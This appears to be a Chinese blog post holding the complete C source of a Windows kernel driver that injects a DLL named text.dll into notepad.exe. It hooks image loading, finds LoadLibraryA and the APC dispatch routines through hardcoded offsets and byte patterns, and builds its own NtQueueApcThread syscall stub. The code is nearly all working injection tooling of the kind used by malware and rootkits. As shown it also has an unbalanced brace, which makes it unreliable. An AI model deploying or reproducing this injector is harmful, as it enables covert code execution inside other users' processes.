APC注入

/***********************************
desc : This code was written for inject a dll named text.dll to the target process based on APC.
time : 2013
coder: ejoywx
***********************************/
#include <ntddk.h>
#include <ntimage.h>
 
#ifndef SEC_IMAGE
#define SEC_IMAGE   0x1000000     // winnt
#endif
 
extern PUSHORT NtBuildNumber;
 
PVOID pfn_XxxDispatchAPC  = NULL;
PVOID pfn_LoadLibraryA    = NULL;
PVOID pszText_Kernel32    = NULL;
 
ULONG Offset_szText = 0;
ULONG Offset_LoadLibraryA = 0;
ULONG Offset_BaseDispatchAPC = 0;
ULONG Offset_RtlDispatchAPC = 0;
 
UNICODE_STRING gModuleName[] =
{
    RTL_CONSTANT_STRING(L"\\systemroot\\system32\\ntdll.dll"),
    RTL_CONSTANT_STRING(L"\\systemroot\\system32\\kernel32.dll"),
    RTL_CONSTANT_STRING(L"\\WINDOWS\\system32\\kernel32.dll"),
    RTL_CONSTANT_STRING(L"\\systemroot\\system\\text.dll"),
    RTL_CONSTANT_STRING(L"\\Device\\HarddiskVolume1\\WINDOWS\\system32\\notepad.exe")
};                               
 
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader(
    PVOID Base
    );
 
NTSYSAPI
PVOID
NTAPI
RtlImageDirectoryEntryToData(
    PVOID BaseOfImage,
    BOOLEAN MappedAsImage,
    USHORT DirectoryEntry,
    PULONG Size
    );
 
NTSTATUS (NTAPI* pfn_NtQueueApcThread)(
    __in HANDLE     ThreadHandle,
    __in PVOID      ApcRoutine,
    __in_opt PVOID  ApcArgument1,
    __in_opt PVOID  ApcArgument2,
    __in_opt PVOID  ApcArgument3
    );
 
PVOID NTAPI 
TlLoadSysPEtoMem(
    IN PUNICODE_STRING FilePath
    )
{
    OBJECT_ATTRIBUTES   ObjectAttributes = {0};
    IO_STATUS_BLOCK     IoStatusBlock    = {0};
    HANDLE              FileHandle       = NULL;
    HANDLE              SectionHandle    = NULL;
    PVOID               ViewBase         = NULL;
    PVOID               MemBase          = NULL;
    SIZE_T              ViewSize         = 0;
    NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
    InitializeObjectAttributes( &ObjectAttributes,
                                FilePath,
                                OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );
 
    Status = ZwOpenFile (  &FileHandle,
                            FILE_GENERIC_READ,
                            &ObjectAttributes,
                            &IoStatusBlock,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            FILE_NON_DIRECTORY_FILE );
    if ( NT_SUCCESS( Status ) )
    {
        InitializeObjectAttributes( &ObjectAttributes,
                                    NULL,
                                    OBJ_KERNEL_HANDLE,
                                    NULL,
                                    NULL );
        Status = ZwCreateSection(   &SectionHandle,
                                    SECTION_MAP_READ,
                                    &ObjectAttributes,
                                    (PLARGE_INTEGER)NULL,
                                    PAGE_READONLY,
                                    SEC_IMAGE,
                                    FileHandle);
        if ( NT_SUCCESS( Status ) )
        {
            Status = ZwMapViewOfSection(SectionHandle,
                                        ZwCurrentProcess(),
                                        &ViewBase,
                                        0L,
                                        PAGE_SIZE,
                                        NULL,
                                        &ViewSize,
                                        ViewUnmap,
                                        MEM_TOP_DOWN,
                                        PAGE_READWRITE);
                                         
            if( NT_SUCCESS( Status ) )
            {
                MemBase = ExAllocatePoolWithTag( NonPagedPool, ViewSize, ' dmC');
                if( MemBase )
                {
                    RtlMoveMemory( MemBase, ViewBase, ViewSize );
                }
                 
                ZwUnmapViewOfSection( ZwCurrentProcess(), ViewBase );
            }
 
            ZwClose( SectionHandle );
        }
         
        ZwClose( FileHandle );
    }
 
    return MemBase;
}
 
PVOID NTAPI 
TlMapKnownDlltoMem(
    IN PUNICODE_STRING FilePath
    )
{
    OBJECT_ATTRIBUTES   ObjectAttributes = {0};
    HANDLE              SectionHandle    = NULL;
    PVOID               ViewBase         = NULL;
    PVOID               MemBase          = NULL;
    SIZE_T              ViewSize         = 0;
    NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
    InitializeObjectAttributes( &ObjectAttributes,
                                FilePath,
                                OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );
    Status = ZwOpenSection( &SectionHandle,
                    SECTION_MAP_READ,
                    &ObjectAttributes
                    );
    if ( NT_SUCCESS( Status ) )
    {
        Status = ZwMapViewOfSection(SectionHandle,
                            ZwCurrentProcess(),
                            &ViewBase,
                            0L,
                            PAGE_SIZE,
                            NULL,
                            &ViewSize,
                            ViewUnmap,
                            MEM_TOP_DOWN,
                            PAGE_READWRITE );
         
        if( NT_SUCCESS( Status ) )
        {
            MemBase = ExAllocatePoolWithTag( NonPagedPool, ViewSize, ' dmC');
            if( MemBase )
            {
                RtlMoveMemory( MemBase, ViewBase, ViewSize );
            }
             
            ZwUnmapViewOfSection( ZwCurrentProcess(), ViewBase );
        }
 
        ZwClose( SectionHandle );
    }
 
    return MemBase;
}
 
PVOID NTAPI 
TlGetProcAddress(
    IN PVOID ImageBase,
    IN PUCHAR ApiName
    )
{
    PIMAGE_EXPORT_DIRECTORY ExpDir  = NULL;
    PULONG          AddressOfNames  = NULL;
    PULONG      AddressOfFunctions  = NULL;
    PUSHORT  AddressOfNameOrdinals  = NULL;
    PVOID              FuncAddress  = NULL;
    ULONG               ExpDirSize  = 0;
    ULONG            NumberOfNames  = 0; 
 
    LONG                    Idx     = 0;
    LONG                    ret     = 0;
    LONG                    low     = 0;
    LONG                    mid     = 0;
    LONG                    high    = 0;
    PCHAR                   pName   = NULL;
     
    if( !ImageBase )return NULL;
     
    ExpDir = (PIMAGE_EXPORT_DIRECTORY)RtlImageDirectoryEntryToData(ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_EXPORT,&ExpDirSize );
    if ( ExpDir  )
    {
        AddressOfNames          = (PULONG)( (ULONG)ImageBase + ExpDir->AddressOfNames );
        AddressOfFunctions      = (PULONG)( (ULONG)ImageBase + ExpDir->AddressOfFunctions );
        AddressOfNameOrdinals   = (PUSHORT)( (ULONG)ImageBase + ExpDir->AddressOfNameOrdinals );
        NumberOfNames           = ExpDir->NumberOfNames;
         
        if( (ULONG)ApiName & 0xFFFF0000 )
        {
            high = NumberOfNames-1;
            while(low <= high)//二分查找,快速定位
            {
                mid   = (high+low)>>1;
                pName = (PCHAR)ImageBase+AddressOfNames[mid] ;
 
                Idx = 0;
                while( pName[Idx] && pName[Idx] == ApiName[Idx] )
                {
                    ++Idx;
                }
 
                ret = pName[Idx] - ApiName[Idx];
                if ( ret==0 )
                {
                    (PUCHAR)FuncAddress=(PUCHAR)ImageBase + AddressOfFunctions[ AddressOfNameOrdinals[ mid ] ];
 
                    break;
                }
                else if( ret > 0 )
                {
                    high=mid-1;
                }
                else
                {
                    low=mid+1;
                }
            }
        }
        else
        {
            (PUCHAR)FuncAddress=(PUCHAR)ImageBase + AddressOfFunctions[ (ULONG)ApiName & 0x0FFFF ];
        }       
    }   
 
    return FuncAddress;
}
 
ULONG NTAPI //just for winxp/win2003
GetOffsetForXxxDispatchApc(
    IN PVOID pfn_QueueUserApc,
    IN PVOID ImageBase
    )
{
    ULONG   Offset = 0;
    PUCHAR  pMem   = (PUCHAR)pfn_QueueUserApc;
    PUCHAR  pLim   = (PUCHAR)pfn_QueueUserApc + 0x100;
     
    while( pMem < pLim && *(PULONG)pMem != 0x90000CC2 ) pMem++;
     
    if( *(PULONG)pMem == 0x90000CC2 )
    {
        pLim   = (PUCHAR)pfn_QueueUserApc;
        while( (--pMem) > pLim )
        {
            if( *(PUSHORT)pMem == 0x75FF && *(PUSHORT)(pMem+3) == 0x15FF  && *(pMem-5) == 0x68 )
            {
                Offset  = *(PULONG)(pMem-4) - (ULONG)ImageBase;               
                break;
            }
        }
    }
     
    return Offset;
}
 
ULONG NTAPI
GetOffsetForSpecialText(
    IN PVOID ImageBase,
    IN PCSTR szText
    )
{
    ULONG   Offset = 0;
    PUCHAR  pMem   = (PUCHAR)ImageBase;
    PUCHAR  pLim   = (PUCHAR)ImageBase + 0x400;
     
    while( pMem < pLim )
    {
        if( _stricmp( szText, pMem) == 0 )
        {
            Offset = (ULONG)(pMem-(PUCHAR)ImageBase);
            break;
        }
         
        pMem++;
    }   
     
    return Offset;
}
 
PVOID NTAPI
TlBuildNtFunc(
    IN ULONG ServiceId
    )
{
    PVOID   NtFunc = NULL;
    PVOID   pfn_KiSystemService;
    PVOID   pfn_ZwQueryKey;       
    UNICODE_STRING RoutineName;
         
    RtlInitUnicodeString( &RoutineName, L"ZwQueryKey" );       
    pfn_ZwQueryKey = MmGetSystemRoutineAddress( &RoutineName );
     
    if( pfn_ZwQueryKey )
    {
        NtFunc = ExAllocatePoolWithTag( NonPagedPool, 32, ' dmC');        
        if( NtFunc )
        {
            (PUCHAR)pfn_KiSystemService = (PUCHAR)pfn_ZwQueryKey + 12 + 5 + *(PULONG)((PUCHAR)pfn_ZwQueryKey + 12 + 1);
             
            RtlFillMemory( NtFunc, 32, 0xCC );       
            RtlMoveMemory( NtFunc, pfn_ZwQueryKey, 20 );
 
            *(PULONG)((PUCHAR)NtFunc + 12 + 1 ) = (ULONG)((PUCHAR)pfn_KiSystemService - ((PUCHAR)NtFunc + 12 + 5));
            *(PULONG)((PUCHAR)NtFunc + 1 ) = ServiceId;
        }    
    }
     
    return NtFunc;
}
 
BOOLEAN NTAPI
TlCheckFileExist(
    IN PUNICODE_STRING FileName
)
{
    OBJECT_ATTRIBUTES   ObjectAttributes = {0};
    IO_STATUS_BLOCK     IoStatusBlock    = {0};
    HANDLE              FileHandle       = NULL;
    NTSTATUS            Status           = STATUS_INVALID_PARAMETER;
 
    InitializeObjectAttributes( &ObjectAttributes,
                                FileName,
                                OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL );
 
    Status = ZwOpenFile (  &FileHandle,
                            FILE_GENERIC_READ,
                            &ObjectAttributes,
                            &IoStatusBlock,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            FILE_NON_DIRECTORY_FILE );
                     
    if ( NT_SUCCESS( Status ) )
    {     
        ZwClose( FileHandle );
    }
     
    return NT_SUCCESS( Status );
}
 
VOID
LoadImageNotifyRoutine(
    IN PUNICODE_STRING  FullImageName,
    IN HANDLE           ProcessId,
    IN PIMAGE_INFO      ImageInfo
    )
{      
    if( !pfn_XxxDispatchAPC || !pfn_LoadLibraryA || !pszText_Kernel32 )
    {       
        if( !pfn_LoadLibraryA || !pszText_Kernel32 )
        {
            if( RtlCompareUnicodeString( FullImageName, &gModuleName[2], TRUE ) == 0 )
            {
                (PUCHAR)pfn_LoadLibraryA  = (PUCHAR)ImageInfo->ImageBase + Offset_LoadLibraryA;
                (PUCHAR)pszText_Kernel32  = (PUCHAR)ImageInfo->ImageBase + Offset_szText;
                 
                if( Offset_BaseDispatchAPC )
                {
                    (PUCHAR)pfn_XxxDispatchAPC= (PUCHAR)ImageInfo->ImageBase + Offset_BaseDispatchAPC;
                }
            }
        }
         
        if( Offset_RtlDispatchAPC && !pfn_XxxDispatchAPC )
        {
            if( RtlCompareUnicodeString( FullImageName, &gModuleName[0], TRUE ) == 0 )
            {
                (PUCHAR)pfn_XxxDispatchAPC= (PUCHAR)ImageInfo->ImageBase + Offset_RtlDispatchAPC;
            }
        }
    }
    else if( pfn_NtQueueApcThread )
    {
        if( RtlCompareUnicodeString( FullImageName, &gModuleName[4], TRUE ) == 0 )
        {
            pfn_NtQueueApcThread(
                    ZwCurrentThread(),
                    pfn_XxxDispatchAPC,
                    pfn_LoadLibraryA,
                    pszText_Kernel32,
                    NULL );
        }
    }
}
 
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
    PsRemoveLoadImageNotifyRoutine( LoadImageNotifyRoutine );
     
    ExFreePool( pfn_NtQueueApcThread );
}
 
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{   
    NTSTATUS Status = 0; 
    ULONG ServiceId = -1;    
    PVOID ImageBase_Ntdll ;
    PVOID ImageBase_Kernel;   
    PVOID pfn;
     
    ImageBase_Ntdll = TlLoadSysPEtoMem( &gModuleName[0] );
    if( ImageBase_Ntdll )
    {
        pfn = TlGetProcAddress( ImageBase_Ntdll, "NtQueueApcThread" );
        if( pfn )
        {
            ServiceId = *(PULONG)((PUCHAR)pfn + 1 );
        }
         
        if( *NtBuildNumber == 7601 )
        {
            pfn = TlGetProcAddress( ImageBase_Ntdll, (PUCHAR)7 );
            if( pfn )
            {
                Offset_RtlDispatchAPC = (ULONG)pfn - (ULONG)ImageBase_Ntdll;
            
        }     
         
        ExFreePool( ImageBase_Ntdll );
    }
     
    ImageBase_Kernel = TlLoadSysPEtoMem( &gModuleName[1] );
    if( ImageBase_Kernel )
    {
        PIMAGE_NT_HEADERS NtHdrs = RtlImageNtHeader( ImageBase_Kernel );
         
        if( *NtBuildNumber == 2600 )
        {
            pfn = TlGetProcAddress( ImageBase_Kernel, "QueueUserAPC" );
            if( pfn )
            {
                Offset_BaseDispatchAPC = GetOffsetForXxxDispatchApc( pfn, (PVOID)NtHdrs->OptionalHeader.ImageBase);
            }
        }
         
        pfn = TlGetProcAddress( ImageBase_Kernel, "LoadLibraryA" );
        if( pfn )
        {
            Offset_LoadLibraryA = (ULONG)pfn - (ULONG)ImageBase_Kernel;
        }       
         
        Offset_szText = GetOffsetForSpecialText( (PUCHAR)ImageBase_Kernel, "text" );
          
        ExFreePool( ImageBase_Kernel );
    }
     
    Status = STATUS_NOT_SUPPORTED;
    if( Offset_LoadLibraryA && Offset_szText && (Offset_BaseDispatchAPC || Offset_RtlDispatchAPC) && ServiceId != -1 )
    {
        Status = STATUS_NO_SUCH_FILE;
        //确保文件"systemroot\system\text.dll"存在
        if( TlCheckFileExist( &gModuleName[3] ) )
        {
            pfn_NtQueueApcThread = TlBuildNtFunc( ServiceId ); 
        }     
    }
     
    if( pfn_NtQueueApcThread )
    {
        Status = PsSetLoadImageNotifyRoutine( LoadImageNotifyRoutine );;
    }
     
    if( !NT_SUCCESS(Status) && pfn_NtQueueApcThread )
    {
        ExFreePool( pfn_NtQueueApcThread );
    }
     
    DriverObject->DriverUnload = DriverUnload;
    return Status;
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值